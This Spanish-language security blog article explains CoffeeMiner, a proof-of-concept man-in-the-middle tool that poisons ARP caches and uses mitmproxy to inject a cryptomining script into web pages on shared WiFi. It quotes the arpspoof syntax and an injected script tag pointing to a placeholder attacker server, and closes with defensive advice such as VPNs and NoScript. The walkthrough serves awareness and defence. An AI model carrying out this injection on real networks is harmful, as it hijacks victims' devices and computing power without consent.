Las criptodivisas están de moda, eso es algo indudable, y si no que se lo
digan a mis compañeros Felix y Yaiza que llevan años estudiando el blockchain y
las criptodivisas, tal y como se puede ver en su charla de Rooted de 2015. Este boom
que tenemos en nuestros días con las criptodivisas, la minería y la
especulación es un cartel luminoso para muchos ciberdelincuentes. En este
artículo no se pretende valorar la seguridad del blockchain, las criptodivisas o los mecanismos de protección que
tienen en su mano los usuarios que manejan su capital.
Lo curioso es ver cómo se automatizan ciertos ataques que ayudan, en este
caso, a la minería. La herramienta CoffeeMiner, la cual se puede estudiar en su Github, pretende ser una prueba de concepto, con
propósito académico según indica su propio autor, de lo que pueden llegar a
hacernos a cualquiera de nosotros mientras nos tomamos un café en nuestro bar
favorito y aprovechamos ese placer para leer las noticias en nuestro
dispositivo digital.
CoffeeMiner es una prueba de concepto que permite realizar un ataque de Man in the Middle y seleccionar
diferentes targets que serán
envenenados. A partir de aquí, el tráfico de las víctimas pasará por el
atacante y éste podrá inyectar un Javascript
en cualquier HTML que la víctima solicite, ya que esta petición pasará por el
atacante. Este Javascript contiene un
minero en su código, por lo que todos los dispositivos conectados a la red
podrían ser víctimas y estar minando sin ser conscientes de ello.
El esquema de cómo funciona CoffeeMiner es sencillo. Un atacante que tome
un café en una cafetería y haya diversos clientes conectados a la red WiFi de
dicha cafetería podría aprovecharse y obtener un beneficio logrando que los
clientes minen para él. Este ataque es extensible a redes cableadas, ya que el
secreto de todo esto está en que el tráfico pase por una máquina concreta, la
del atacante. Si el atacante está en una red cableada, podría aprovecharse de
técnicas como el ARP Spoofing y, posteriormente, utilizar la inyección de
Javascript. Es más, si el atacante pusiera su propio Rogue AP, no haría falta
envenenar ninguna caché, ya que podría, directamente, inyectar el código
Javascript porque él es el Gateway.
En otras ocasiones hemos visto como herramientas como Bettercap o MITMf permiten realizar acciones similares de forma
sencilla, orientado a la auditoría de seguridad. CoffeeMiner también puede
entenderse como una herramienta de auditoría, aunque es una prueba de concepto
con propósito académico.
El código de CoffeeMiner
En el sitio web del autor de CoffeeMiner se explica el código de la
aplicación/automatización basada en mitmproxy. Para realizar el MITM se utiliza
la vieja herramienta arpspoof, con su
famosa sintaxis arpspoof –i [interfaz de
red] –t [target 1] [target 2] y la instrucción contraria para hacer el
envenenamiento en ambas direcciones.
Posteriormente, se utiliza mitmproxy
para analizar el tráfico que circula a través de un equipo, pudiendo editar el
tráfico. Esto se utilizará para inyectar el Javascript,
el cual está preparado o contiene para que la víctima, a través de su
navegador, mine. La línea que se inyectará tendrá el siguiente aspecto: <script
src="http://httpserverIP:8000/script.js"></script>.
El código queda de la siguiente manera, teniendo en cuenta que se utiliza
la librería que integra mitmproxy:
Como la parte de “Injector” añade
una línea al HTML legítimo con el que se consigue llamar al Javascript malicioso, el atacante tendrá
que contar con un servidor web dónde se alojará el Javascript malicioso. CoffeeMiner proporciona un sencillo código
para automatizar esto, aunque con Apache sería algo trivial.
Por último, la parte de CoinHive. CoinHive es un proyecto cuyo eslogan es
aprovechar la computación de tu negocio para sacarle un provecho. Esto puede
tener un buen fin, pero también puede haber usuarios maliciosos que quieran
aprovecharse de esto.
Sin duda es un proyecto que hace una crítica a la facilidad y el riesgo que
tenemos los usuarios que accedemos a redes no seguras o redes con usuarios “de
paso”. Por esta razón, debemos estar atentos a qué redes accedemos y en qué
sitios confiamos. En este caso, no se apoderarán de datos sensibles nuestros,
pero sí que utilizarán nuestra CPU para que puedan ganar unos dólares. Una
buena solución sería utilizar una VPN desde la propia red WiFi dónde nos
conectemos, para que estemos ante una red aislada. También se podría utilizar
plugins como NoScript para evitar la ejecución de código Javascript. Otra
opción sería utilizar una red virtual dentro de la WiFi y poder evitar que
hagan uso de nuestra CPU.